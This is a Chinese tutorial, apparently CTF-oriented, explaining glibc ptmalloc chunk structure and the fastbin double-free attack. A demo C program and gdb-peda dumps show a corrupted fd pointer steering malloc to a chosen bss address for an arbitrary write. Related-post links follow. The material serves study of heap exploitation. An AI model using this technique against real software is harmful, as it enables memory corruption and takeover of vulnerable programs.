ptmalloc

ptmalloc的基本思路是将堆上的内存区域划分为多个chunk,在分配/回收内存时,对chunk进行分割、回收等操作。在32位系统下,chunk头的大小为8 Bytes,且每个chunk的大小也是8 Bytes的整数倍。

chunk头包括以下两部分:

prev_size: 如果当前chunk的相邻前一chunk未被使用,prev_size为此前一chunk的大小
size: 当前chunk的大小。由于chunk大小是8的整数倍,所以此size的后3 bit被用于存储其他信息。我们需要记住的便是最低bit,即图中P的位置,用于指示前一chunk是否已被使用(PREV_INUSE)。

如果当前chunk处于未被使用状态,则mem前8 bytes被用来存储其他信息,具体如下:

fd: 下一个未被使用的chunk的地址
bk: 上一个未被使用的chunk的地址

 chunk结构

struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
}; typedef struct malloc_chunk* mchunkptr;

Allocated chunk:

在图中,chunk 指针指向一个 chunk 的开始,一个 chunk 中包含了用户请求的内存区域和相关的控制信息。
图中的 mem 指针才是真正返回给用户的内存指针。
chunk 的第二个域的最低一位为 P,它表示前一个块是否在使用中,P 为 0 则表示前一个 chunk 为空闲(并非指链表中的前一个堆块,而是连续内存中的前一块内存),这时 chunk 的第一个域 prev_size 才有效,prev_size 表示前一个 chunk 的 size,程序可以使用这个值来找到前一个 chunk 的开始地址。
当 P 为 1 时,表示前一个 chunk 正在使用中,prev_size无效,程序也就不可以得到前一个 chunk 的大小。不能对前一个 chunk 进行任何操作。ptmalloc 分配的第一个块总是将 P 设为 1,以防止程序引用到不存在的区域。
Chunk的第二个域的倒数第二个位为M,他表示当前chunk是从哪个内存区域获得的虚拟内存。M 为 1 表示该 chunk 是从 mmap 映射区域分配的,否则是从 heap 区域分配的。
Chunk 的第二个域倒数第三个位为 A,表示该 chunk 属于主分配区或者非主分配区,如果属于非主分配区,将该位置为 1,否则置为 0。

对于32位机,8字节对齐,对于64位机,16字节对齐

32位机中,一个使用中的 chunk 的大小的计算公式应该是: in_use_size = (用户请求大小+ 8 - 4 ) align to 8B,这里加 8 是因为需要存储 prev_size 和 size, 但又因为向下一个 chunk“借”了 4B,所以要减去 4。

Chunk可分为4类:1)allocated chunk;2)free chunk; 3)top chunk; 4)Last remainder chunk。

从本质上来说,所有类型的chunk都是内存中一块连续的区域,只是通过该区域中特定位置的某些标识符加以区分。allocated chunk表示已经分配给用户使用的chunk;free chunk表示未使用的chunk。

Fastbin Attack

glibc通过fastbin来管理⻓度较小的堆块。fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。

fastbin特点:

• 单链表结构

• 遵循LIFO(Last In First Out)的分配策略

• 每次加⼊入新的堆块时会检查
该堆块是否为链表头节点

fastbin攻击原理

fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。

1. Double Free

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆的效果。Fastbin Double Free 能够成功利用主要有两部分的原因:一是fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空;二是fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

int main(void)
{
void *chunk1,*chunk2,*chunk3;
chunk1=malloc(0x10);
chunk2=malloc(0x10); free(chunk1);
free(chunk2);
free(chunk1);
return ;
}

因为chunk1 被再次释放其 fd 值不再为0而是指向chunk2,如果控制 chunk1 的内容,便可以写入其 fd 指针从而实现在我们想要的任意地址分配 fastbin 块。

示例代码:

#include <stdio.h>
#include <stdlib.h>
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK; CHUNK bss_chunk; int main(void)
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b; bss_chunk.size=0x21; //注意,在malloc时会检查chunk的size,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。
chunk1=malloc(0x10);
chunk2=malloc(0x10); free(chunk1);
free(chunk2);
free(chunk1); chunk_a=malloc(0x10);
*(long long *)chunk_a=&bss_chunk;
malloc(0x10);
malloc(0x10);
chunk_b=malloc(0x10);
printf("%p",chunk_b);
return ;
}

当程序执行到free(chunk2)后,ptmalloc是管理fastbin的方法:

gdb-peda$  x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

此时chunk2的fd指向chunk1,而chunk1的fd为空,fastbin链表为main_arena=>chunk2=>chunk1。再次执行free(chunk1)后

gdb-peda$  x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk1
0x602010: 0x0000000000602020 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

此时chunk2的fd指向chunk1,而chunk1的fd指向chunk2,fastbin链表为main_arena=>chunk1=>chunk2=>chunk1。

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},

此时申请chunk_a,fastbin链表为main_arena=>chunk2=>chunk_a=>chunk2。并将chunk_a的指针域修改为要修改的地址-0x10以上(此处选择的是bss_chunk:0x601080)

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x602020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x602040,
0x602000:    0x0000000000000000    0x0000000000000021   ————————>chunk_a
0x602010: 0x0000000000602000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

并将chunk_a的指针域修改为要修改的地址-0x10以上(此处选择的是bss_chunk:0x601080)

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x602020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, gdb-peda$ x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000601080 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1
0x602050: 0x0000000000000000 0x0000000000000000

chunk1 的 fd 指针指向 bss 段上的 bss_chunk,fastbin链表为main_arena=>chunk2=>chunk_a=>malloc_hook(bss_chunk)。

申请一个new chunk 2:

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x602040,
gdb-peda$  x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk_a
0x602010: 0x0000000000601080 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

此时new chunk2被申请后,fastbin链表为main_arena=>chunk_a=>bss_chunk。

再申请一个new chunk 3(new chunk 3是和chunk_a重合的)

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x601080 <bss_chunk>, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
gdb-peda$  x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000601080 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

此时new chunk 3与chunk_a重合,fastbin链表为main_arena=>bss_chunk已经指向了我们想要修改的地址了,只要再申请一个堆块就会申请到想要修改的地址,然后只要编辑这个堆块便可完成任意地址写。

gdb-peda$ c
Continuing.
0x601090[Inferior (process ) exited normally]
Warning: not running
gdb-peda$ x/20xg 0x601080
0x601080 <bss_chunk>: 0x0000000000000000 0x0000000000000000
0x601090 <bss_chunk+>: 0x0000000000000000 0x0000000000000000
0x6010a0: Cannot access memory at address 0x6010a0

参考

图解fastbin:https://blog.csdn.net/Breeze_CAT/article/details/103788698

ctf-wiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/

fastbin attack:https://www.cnblogs.com/countfatcode/p/11829124.html

Fastbin attack——Double Free的更多相关文章

  1. Fastbin attack

    Fastbin Attack 暂时接触到了两种针对堆分配机制中fastbin的攻击方式,double free和house of spirit Double free 基本原理 与uaf是对free之 ...

  2. Fastbin attack 总结

    Fastbin attack 本文参考了ctf-wiki 和glibc 要了解fastbin attack,我们先要了解fastbin的机制.由于libc2.26后加入了tcache机制,我们这里就只 ...

  3. fastbin attack学习小结

    fastbin attack学习小结   之前留在本地的一篇笔记,复习一下. 下面以glibc2.23为例,说明fastbin管理动态内存的细节.先看一下释放内存的管理: if ((unsigned  ...

  4. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  5. off by null 实战

    前言 off by null 是一个比较有意思的技术 下面通过 hctf2018 的 heapstrom_zero 实战一波. 相关文件(exp, 题目)位于 https://gitee.com/ha ...

  6. House of Roman 实战

    前言 这是前几天国外一个 老哥 提出的一种思路 ,学习了一下感觉其中的堆布局的手法还不错,做个分享与记录. 这种利用手法的主要特点是不需要 leak libc的地址,通过 堆内存的布局 和 堆相关的漏 ...

  7. 强网杯2018 pwn复现

    前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...

  8. how2heap 源码及输出

    备个份,慢慢写总结 1 first_fit #include <stdio.h> #include <stdlib.h> #include <string.h> i ...

  9. HITCON-Training-Writeup

    HITCON-Training-Writeup 原文链接M4x@10.0.0.55 项目地址M4x's github,欢迎star~ 更新时间5月16 复习一下二进制基础,写写HITCON-Train ...

随机推荐

  1. 通过实际案例摸清楚Spring事务传播的行为

    @ 目录 事务传播 案例准备 案例解析 1.无事务 2. Propagation.REQUIRED 3. Propagation.SUPPORTS 4. Propagation.MANDATORY 5 ...

  2. Mybatis-01-什么是Mybatis以及第一个Mybatis

    Mybatis-9.28 环境: jdk 1.8 Mysql 5.7 maven 3.6.1 IDEA 回顾: JDBC Mysql Java基础 Maven Junit SSM框架:配置文件,最好的 ...

  3. C、C++、Java、Python该怎么选

    对于很多对编程感兴趣的小伙.或是正在读计算机专业的大学生来说,不知道要选择哪一门编程语言发展.对于计算机专业的学生,一般的学习都普遍会开始设C.C++.Java等热门的编程语言,但还是不太清楚选择哪一 ...

  4. JS精度损失toFixed

    1234*0.01=12.3400000001 很明显后缀00001跟预期想要的不一致,起初面临这个问题我的处理方式是这样的: (1234*0.01).toString().substring(0,2 ...

  5. Android 在代码中修改TextView的DrawableRight等方向上的图片

    在XML文件中可以对TextView进行设置: android:drawableTop="@drawable/XXX" android:drawableBottom="@ ...

  6. 关于Exceptionless日志收集框架会被Fiddler抓包,从而获取到ApiKey的问题

    关于Exceptionless日志收集框架会被Fiddler抓包,从而获取到ApiKey的问题 环境:Exceptionless5.0.0.Linux.WPF客户端.Fiddler 问题:在使用Exc ...

  7. java Semaphore实现ABC三个线程循环打印

    Semaphore位于java.util.concurrent包下.其中有两个重要的方法acquire()和release().acquire用来获取一个信号量,并且是阻塞型的,如果当前还有可用的信号 ...

  8. (转)文件上传org.apache.tomcat.util.http.fileupload.FileUploadException: Stream closed

    文件上传时,tomcat报错org.springframework.web.multipart.MultipartException: Failed to parse multipart servle ...

  9. java反序列化——XMLDecoder反序列化漏洞

    本文首发于“合天智汇”公众号 作者:Fortheone 前言 最近学习java反序列化学到了weblogic部分,weblogic之前的两个反序列化漏洞不涉及T3协议之类的,只是涉及到了XMLDeco ...

  10. 获取 python 包的路径

    root@ostack01:~# python Python 2.7. (default, Nov , ::) [GCC 5.4. ] on linux2 Type "help", ...